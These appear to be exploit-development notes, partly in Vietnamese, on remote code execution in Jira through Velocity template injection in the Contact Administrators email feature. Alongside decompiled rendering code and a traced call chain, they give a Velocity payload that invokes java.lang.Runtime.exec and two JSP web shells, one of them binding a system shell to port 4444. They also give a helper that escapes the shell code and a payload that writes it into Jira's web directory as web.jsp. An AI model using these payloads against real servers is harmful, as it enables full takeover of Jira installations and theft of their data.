-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }

public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Có thể RCE ở đây ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render
	

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()